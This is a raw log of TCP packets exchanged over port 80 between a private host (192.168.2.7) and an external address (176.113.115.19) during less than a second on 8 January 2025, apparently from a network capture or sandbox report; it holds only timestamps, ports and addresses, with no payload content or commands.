Jan 8, 2025 09:42:34.559319019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.559329033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.559334993 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.559351921 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.559367895 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.592392921 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592434883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592447996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592453957 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592459917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592466116 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592472076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592500925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.592514992 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592545033 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592550993 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.592551947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592559099 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592566013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592571020 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.592571974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592578888 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.592602015 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.592626095 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603123903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603132010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603146076 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603198051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603205919 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603213072 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603213072 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603219986 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603234053 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603247881 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603249073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603270054 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603285074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603291035 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603301048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603307009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603324890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603332996 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603339911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603351116 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603358984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603367090 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603373051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603385925 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603423119 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603460073 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603466988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603473902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603504896 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603504896 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603518963 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603523970 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603524923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.603550911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.603574991 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.641293049 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.641311884 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.641331911 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.641344070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.641350031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.641355991 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.641362906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.641360044 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.641376019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.641396999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.641422987 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.642206907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.642220974 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.642225981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.642239094 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.642245054 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.642255068 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.642277956 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.642283916 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.642287970 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.642297029 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.642321110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.642349958 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644073009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644108057 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644114017 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644120932 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644130945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644139051 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644145966 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644185066 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644210100 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644217968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644222975 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644248962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644257069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644267082 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644269943 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644277096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644283056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644290924 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644300938 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644304991 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644309998 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644321918 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644328117 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644335985 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644347906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644356012 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644361019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644386053 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644408941 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644419909 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644428968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644435883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644454002 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644460917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644462109 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644468069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644479990 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644496918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644499063 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644505024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644515038 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644539118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644546986 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644566059 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644579887 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644588947 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644592047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644617081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644623041 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644623995 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644629955 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644660950 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644685984 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644692898 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644706011 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644737959 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644763947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644776106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644788027 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644793987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644820929 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644829988 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644834042 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644838095 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644850969 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644875050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.644884109 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.644927025 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645616055 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645622015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645628929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645637989 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645643950 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645651102 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645675898 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645680904 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645687103 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645705938 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645719051 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645719051 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645735979 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645747900 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645788908 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645790100 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645796061 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645809889 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645818949 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645832062 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645836115 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645840883 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645865917 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645879030 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.645889997 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645896912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645935059 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645944118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.645957947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.646071911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.646076918 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.646071911 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.646085024 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.646100044 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.646104097 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.646133900 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.646145105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.679527998 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679547071 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679559946 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679565907 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679579973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679585934 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679593086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679599047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679605961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679610968 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679617882 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679624081 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679625034 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.679631948 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679639101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.679697037 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.689935923 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.689991951 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690063000 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690069914 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690100908 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690109015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690116882 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690128088 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690140009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690145016 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690149069 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690157890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690165043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690177917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690191984 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690197945 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690207958 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690220118 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690226078 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690242052 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690248013 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690253973 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690268040 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690268993 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690282106 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690283060 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690294981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690316916 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690341949 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.690352917 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690362930 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690376043 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.690408945 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.691848993 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.692301989 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.727849007 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.727876902 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.727888107 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.727896929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.727921009 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.727931976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.727938890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.727947950 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.727989912 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.727993965 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.728015900 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.728039026 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.729017019 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.729033947 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.729048014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.729057074 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.729063034 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.729069948 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.729079962 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.729090929 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.729109049 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.729140043 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.730803967 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730813026 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730819941 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730825901 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730829954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730835915 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730856895 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730859995 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.730864048 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730885983 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730892897 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.730897903 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730906010 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730915070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730936050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.730947971 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730952024 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.730957031 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730967999 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.730969906 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730978012 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730997086 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.730998993 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731004953 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731014967 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731021881 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731039047 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731059074 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731081009 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731090069 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731111050 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731120110 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731126070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731128931 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731132030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731153965 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731187105 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731189013 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731204987 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731215954 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731225014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731232882 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731259108 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731281996 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731436014 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731446981 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731460094 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731465101 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731472015 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731477976 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731484890 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731489897 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731496096 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731502056 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731508970 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731509924 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731518030 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731542110 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731559992 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731570959 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731581926 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731592894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731599092 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731606960 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731626987 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731637001 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.731653929 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.731689930 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732400894 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732408047 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732414961 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732441902 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732465029 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732466936 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732481956 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732495070 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732512951 CET	80	49703	176.113.115.19	192.168.2.7
Jan 8, 2025 09:42:34.732516050 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732531071 CET	49703	80	192.168.2.7	176.113.115.19
Jan 8, 2025 09:42:34.732532978 CET	80	49703	176.113.115.19	192.168.2.7
